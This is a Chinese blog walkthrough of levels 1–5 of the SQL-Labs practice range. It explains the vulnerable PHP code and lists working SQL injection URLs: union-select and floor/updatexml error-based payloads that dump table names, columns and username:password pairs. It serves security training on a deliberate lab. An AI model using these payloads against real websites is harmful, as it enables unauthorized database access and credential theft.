SQL-Labs靶场“1-5”关通关教程

君衍.

  • 一、准备工作
  • 二、第一关 基于GET单引号字符型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 三、第二关 基于GET整型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 四、第三关 基于GET单引号变形注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 五、第四关 基于GET双引号字符型注入
    • 1、源码分析
    • 2、联合查询注入过程
  • 六、第五关 基于GET单引号报错注入
    • 1、源码分析
    • 2、floor报错注入
    • 3、updatexml报错注入

点击跳转:
SQL-Labs靶场“6-10”关通关教程
SQL-Labs靶场“11-15”关通关教程

一、准备工作

这里首先我们需要搭建好SQL-Labs靶场来供我们使用,可以参考这篇文章详细阐述了搭建靶场的步骤以及注意事项(SQL靶场搭建及注入思路基础)

SQL-Labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞必备靶场环境。

我们在使用靶场注入之前需要读上面这篇文章理解注入的含义以及目的,同时简单了解注入的方式,下面我们进行SQL-Labs靶场实践。

二、第一关 基于GET单引号字符型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=‘$id’

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysqli_error($con1));echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}

在这里插入图片描述
下面我们进行分析下:
这段代码用于从users数据库表中进行检索用户的信息。

# 定义一个SQL查询语句,用于从users表中选择所有列,查询ID列(用户所输入变量id传入)
# LIMIT 0,1限制结果集只返回一行
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 执行SQL查询并将结果存储在result变量中
# con1是数据库连接对象
$result=mysqli_query($con1, $sql);
# 下面从查询结果中获取一行数据,存入row的关联数组中
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
# if进行判断row变量中是否包含了有效的数据库行
# 如果row不为空,说明查询成功if($row){echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';# 这一行输出了MySQL数据库操作中产生的错误信息。print_r(mysqli_error($con1));echo "</font>";  }
}# 判断传入参数是否合法else { echo "Please input the ID as parameter with numeric value";}

mysqli_fetch_array()函数是从结果集中获取数据行,并以关联数组和数字索引数组的形式返回数据。MYSQLI_BOTH参数指示返回关联数组和数字索引数组两种形式。
这里我们会发现报错回显会有注入点。

2、联合查询注入过程

1、单引号逃逸

在源码分析中我们找到了注入点,这里首先我们进行测试:

?id=1'

在这里插入图片描述
这里我们可以看到报错,所以我们需要逃逸单引号:

?id=1'--+

在这里插入图片描述

2、猜字段数

这里之所以要进行猜字段数,是因为我想要使用联合查询,但是使用联合查询必须满足两个表列相同,不然就会报错。所以我们这里需要进行判断联合的两个表列有多少列,使用order by(原本是用来排序,但是在添加列时,如果按照一个没有的列进行排序就会报错):
在这里插入图片描述
上图是我们进行上帝视角来查看order by的使用,下面我们继续进行猜字段(上图我们可以看到users表中只有三个字段):

?id=1' order by 4--+

在这里插入图片描述
这里我们进行猜字段时可以使用二分法来进行测试,我们可以看到当按照第四个字段进行排序时,数据库进行了报错,和我们使用上帝视角的回显内容一样,所以我们可以得知这个users表只有三个字段。所以这也便于我们之后使用联合查询时,规定字段数,即为:

?id=1' union select 1,2,3--+

在这里插入图片描述

3、联合查询

使用联合查询我们还需注意一个知识点,那便是使用联合查询时,前面条件为真时,我们后面的语句就不执行了,在上面这张图中我们便可以看到,所以这里我们需要使联合查询前面条件为假,我们这里直接使用-1,因为id一般是无符号整型,所以这里我们直接令id=-1:

?id=-1' union select 1,2,3--+

在这里插入图片描述
这里我们可以看到2,3,我们可以上帝视角来查看,这时我们进行查询:
在这里插入图片描述
这里我们即可看到可以使用2,3来进行出数据,那么我们先测试下数据库的名称以及版本即为:

?id=-1' union select 1,database(),version()--+

在这里插入图片描述
这里我们即可看到该数据库的名称以及版本。

4、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

5、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

6、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1'union select 1,concat(username,0x3a,password),3 from users limit 0,1--+

在这里插入图片描述

三、第二关 基于GET整型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=$id

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第二关没有引号的闭合,所以这里我们之后注入时不用进行逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

老规矩,和第一关注入思路一样,但是第二关不用进行单引号逃逸

1、猜字段数

?id=1 order by 3--+
?id=1 order by 4--+

在这里插入图片描述

在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1 union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1 union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述

当然,你也可以一个一个对应着去查:

?id=-1 union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1 union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

四、第三关 基于GET单引号变形注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=($id)

在这里插入图片描述

1、源码分析

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第三关不但有引号的闭合,还有括号的闭合,所以这里我们之后注入时需要注意单引号以及括号的逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

1、猜字段数

?id=1') order by 3--+
?id=1') order by 4--+

在这里插入图片描述
在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1') union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1') union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1') union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1') union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

五、第四关 基于GET双引号字符型注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=(“$id”)

在这里插入图片描述

1、源码分析

# 先双引号 在括号拼接
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
···
# 剩下的与第一关代码相同

这里我们直接可以看到和第一关不一样的只有闭合方式,第四关不但有双引号的闭合,还有括号的闭合,所以这里我们之后注入时需要注意双引号以及括号的逃逸。
在这里插入图片描述
同时我们可以参考第一关的源码分析发现这里依旧是输出了报错存在注入点。

2、联合查询注入过程

1、猜字段数

?id=1") order by 3--+
?id=1") order by 4--+

在这里插入图片描述
在这里插入图片描述
这里我们可以知道字段数为3。

2、联合查询

?id=-1") union select 1,database(),version()--+

这里即可爆出数据库的名称以及版本号:
在这里插入图片描述

3、爆表名,这里我们涉及到数据库的各个库表,建议查看下SQL注入基础再学习。

我们知道在information_schema数据库中的TABLES存放着数据库的所有表名,所以:

?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
这里我们就可以爆出所有表的名称,我们查看哪个表可疑继续注入,我们可以看到有个users表。

4、查列名,这里我们就需要使用到information.schema数据库中的column表来使用。

?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

在这里插入图片描述

5、查询数据

既然到这里我们将列已经查了出来,我们查询数据的要求(数据库名、表名、列名)已经可以进行查询数据了。

?id=-1") union select 1,group_concat(username,0x3a,password),3 from users--+

在这里插入图片描述
当然,你也可以一个一个对应着去查:

?id=-1") union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
?id=-1") union select 1,concat(username,0x3a,password),3 from users limit 1,1--+
······

在这里插入图片描述
在这里插入图片描述

六、第五关 基于GET单引号报错注入

请求方式注入类型拼接方式
GET报错、布尔盲注、延时盲注id=‘$id’

在这里插入图片描述
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注。

1、源码分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row){echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="3" color="#FFFF00">';print_r(mysqli_error($con1));echo "</br></font>";	echo '<font color= "#0000ff" font size= 3>';	}
}else { echo "Please input the ID as parameter with numeric value";}

这里我们依旧可以看到拥有输出报错结果的注入点,但是如果输入id,不论为多少,那么界面都是you are in猜测正确的页面不变,不将查询结果打印出来。

# 定义了查询语句,从users表中选择所有字段,条件是id字段为用户输入的
# 同时只返回一行结果通过LIMIT 0,1限制
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 执行上面查询语句保存在result变量,con1是连接数据库变量
$result=mysqli_query($con1, $sql);
# 这行从查询结果中提取一行数据存入row变量中。
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
# 判断是否成功获取数据if($row){echo '<font size="5" color="#FFFF00">';	# 成功输入You are in···echo 'You are in...........';echo "<br>";echo "</font>";}else {# 输出报错信息echo '<font size="3" color="#FFFF00">';print_r(mysqli_error($con1));echo "</br></font>";	echo '<font color= "#0000ff" font size= 3>';	}
}# 判单row是否为空,为空则输出else { echo "Please input the ID as parameter with numeric value";}

2、floor报错注入

详细报错注入原理见SQL报错注入基础

  • 获取当前数据库
?id=1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

  • 获取该数据库中的表名
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们会发现users可疑,那么我们下一步就是查询users的列名。

  • 获取表中的列名
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 4,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
?id=1' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 5,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里我们找到可疑的字段继续进行查询,即为username以及password:

  • 获取数据
?id=1' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述

?id=1' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 1,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述
剩下的不再进行举例,floor报错注入结束。

3、updatexml报错注入

  • 获取当前数据库名称
?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

  • 获取数据库中的表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述

  • 获取可疑表users表的列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

  • 冲数据
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述

?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)--+

在这里插入图片描述
这里也就不赘述了,如果想要详细了解updatexml报错注入可以查看这篇文章:updatexml报错注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/259711.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

程序员金三银四跳槽指南:时间线经典面试16问

祝大家成功上岸&#xff0c;升职加薪&#xff0c;冲鸭 &#x1f389; 金三银四 今天复工&#xff0c;就要开始准备啦&#x1f4bc;✨ 把握好打工人跳槽的金三银四&#xff0c;获得满意的新工作 &#x1f389; 时间线 年后跳槽时间线&#xff0c;过完年刚好开始准备&#xf…

谁懂啊!自从用了这个管理神器,空调系统运行效率翻两番!

在当今高度竞争的商业环境中&#xff0c;对于各行各业而言&#xff0c;提高效率、降低成本、确保生产和服务质量是至关重要的任务。 精密空调监控系统作为一项先进的技术应用&#xff0c;通过实时监测和智能调控&#xff0c;有效管理和控制环境参数&#xff0c;从而在不同行业和…

FPGA转行ISP的探索之一:行业概览

ISP的行业位置 最近看到一个分析&#xff0c;说FPGA的从业者将来转向ISP&#xff08;Image Signal Process图像信号处理&#xff09;是个不错的选择&#xff0c;可以适应智能汽车、AI等领域。故而我查了一下ISP&#xff0c;对它大致有个概念。 传统的ISP对应的是相机公司&…

【Python】【Pycharm】Python Script头文件设置

1、步骤&#xff1a;File->settings->Editor->File and CodeTemplates->Python Script 2、复制粘贴以下代码&#xff0c;应用即可&#xff1a; #!/usr/bin/env python # -*- coding: utf-8 -*-# Time :${DATE} ${TIME} # Author : admin # Site :${SITE} …

【C++】中类的6个默认成员函数 取地址及const成员函数 学习运算符重载 【实现一个日期类】

文章目录 一、【C】赋值运算符重载1.1 运算符重载【引入】1.2 运算符重载1.3 赋值运算符重载1.4 赋值 二、日期类的实现2.1 判断小于2.2 判断等于2.3 判断小于等于2.4 判断大于2.5 判断大于等于2.6 判断不等于2.7 日期加等天数2.8 获取月份天数2.9 日期加天数2.9.1 日期减等天数…

原生微信小程序开发记录

1. 拿到项目 先构建 2.小程序与普通网页开发的区别 网页开发渲染线程和脚本线程是互斥的&#xff0c;这也是为什么长时间的脚本运行可能会导致页面失去响应&#xff0c;而在小程序中&#xff0c;二者是分开的&#xff0c;分别运行在不同的线程中。网页开发者可以使用到各种浏览…

Redis系列学习文章分享---第一篇(Redis快速入门之初始Redis--NoSql+安装redis+客户端+常用命令)

目录 今天开始进入Redis系列学习分享1.初识Redis1.1.认识NoSQL1.1.1.结构化与非结构化1.1.2.关联和非关联1.1.3.查询方式1.1.4.事务1.1.5.总结 1.2.认识Redis1.3.安装Redis1.3.1.依赖库1.3.2.上传安装包并解压1.3.3.启动1.3.4.默认启动1.3.5.指定配置启动1.3.6.开机自启 1.4.Re…

【知识点】CNN中concat与add的区别

cat操作经常用于将特征联合&#xff0c;多个卷积特征提取框架提取的特征融合或者是将输出层的信息进行融合&#xff1b;而add层更像是信息之间的叠加。 add是在一个特征上增加其语义信息&#xff0c;对最终的图像的分类是有益&#xff1b;cat导致的结果改进可能是由于cat操作通…

机器学习---HMM前向、后向和维特比算法的计算

1. HMM import numpy as np# In[15]:class HiddenMarkov:def forward(self, Q, V, A, B, O, PI): # 使用前向算法N len(Q) # 状态序列的大小M len(O) # 观测序列的大小alphas np.zeros((N, M)) # alpha值T M # 有几个时刻&#xff0c;有几个观测序列&#xff0c;就有…

2024 前端面试题(GPT回答 + 示例代码 + 解释)No.114 - No.121

本文题目来源于全网收集&#xff0c;答案来源于 ChatGPT 和 博主&#xff08;的小部分……&#xff09; 格式&#xff1a;题目 h3 回答 text 参考大佬博客补充 text 示例代码 code 解释 quote 补充 quote 上一篇链接&#xff1a;2024 前端面试题&#xff08;GPT回答 示例…

用HTML和CSS打造跨年烟花秀视觉盛宴

目录 一、程序代码 二、代码原理 三、运行效果 一、程序代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><title>跨年烟花秀</title><meta name"viewport" content"widthdevi…

Zotero不小心把分类删除怎么办?

如果不小心把Zotero中的条目删除了&#xff0c;是可以在回收站中找到的&#xff0c;但是如果把一个大分类删除了&#xff0c;那么就很难找回来了。 如果删除了也不必担心&#xff0c;可以查看Zotero官网给出的解决办法zotero_data [Zotero 文档] 我们需要定位到\Zotero\zotero…

MySQL(1/3)

基本命令行操作 命令行连接 mysql -uroot -p 回车&#xff0c;然后在下一行输入密码&#xff0c;或者直接在p后写密码 修改密码 updata mysql.user set authentication_stringpassword(原密码) where userroot and Host localhost; 刷新权限 flush privileges; 查看所有数据库…

深入理解 Vue3 中的 setup 函数

&#x1f497;&#x1f497;&#x1f497;欢迎来到我的博客&#xff0c;你将找到有关如何使用技术解决问题的文章&#xff0c;也会找到某个技术的学习路线。无论你是何种职业&#xff0c;我都希望我的博客对你有所帮助。最后不要忘记订阅我的博客以获取最新文章&#xff0c;也欢…

rocketMQ-Dashboard安装与部署

1、下载最新版本rocketMQ-Dashboard 下载地址&#xff1a;https://github.com/apache/rocketmq-dashboard 2、下载后解压&#xff0c;并用idea打开 3、修改配置 ①、修改端口及rocketmq服务的ip&#xff1a;port ②、修改访问账号、密码 3、然后启动访问&#xff1a; 4、mav…

Unity ScreenPointToRay 获取到的坐标不准确

&#x1f47e;奇奇怪怪的 &#x1f959;问题描述&#x1f96a;解决方案&#x1f37f;验证代码 &#x1f959;问题描述 使用&#xff1a;Camera.main.ScreenPointToRay 将鼠标坐标转换成射线&#xff0c;然后通过&#xff1a;Physics.Raycast 获取到射线碰撞到的坐标&#xff0…

Windows11(非WSL)安装Installing llama-cpp-python with GPU Support

直接安装&#xff0c;只支持CPU。想支持GPU&#xff0c;麻烦一些。 1. 安装CUDA Toolkit (NVIDIA CUDA Toolkit (available at https://developer.nvidia.com/cuda-downloads) 2. 安装如下物件&#xff1a; gitpythoncmakeVisual Studio Community (make sure you install t…

LeetCode 0589.N 叉树的前序遍历:深度优先搜索(DFS)

【LetMeFly】589.N 叉树的前序遍历&#xff1a;深度优先搜索(DFS) 力扣题目链接&#xff1a;https://leetcode.cn/problems/n-ary-tree-preorder-traversal/ 给定一个 n 叉树的根节点 root &#xff0c;返回 其节点值的 前序遍历 。 n 叉树 在输入中按层序遍历进行序列化表…

【开源】新生报到网站 JAVA+Vue.js+SpringBoot+MySQL

本文项目编号&#xff1a; T 002 。 \color{red}{本文项目编号&#xff1a;T002。} 本文项目编号&#xff1a;T002。 目录 1 功能模块1.1 在线交流模块1.2宿舍分配模块1.3 校园概况模块1.4 专业管理模块 2 系统展示3 核心代码3.1 图表展示3.2 查询评论3.3 新增报道 4 免责声明 …

数据结构1.0(基础)

近java的介绍&#xff0c; 文章目录 第一章、数据结构1、数据结构 &#xff1f;2、常用的数据结构数据结构&#xff1f; 逻辑结构and物理结构 第二章、数据结构基本介绍2.1、数组&#xff08;Array&#xff09;2.2、堆栈&#xff08;Stack&#xff09;2.3、队列&#xff08;Que…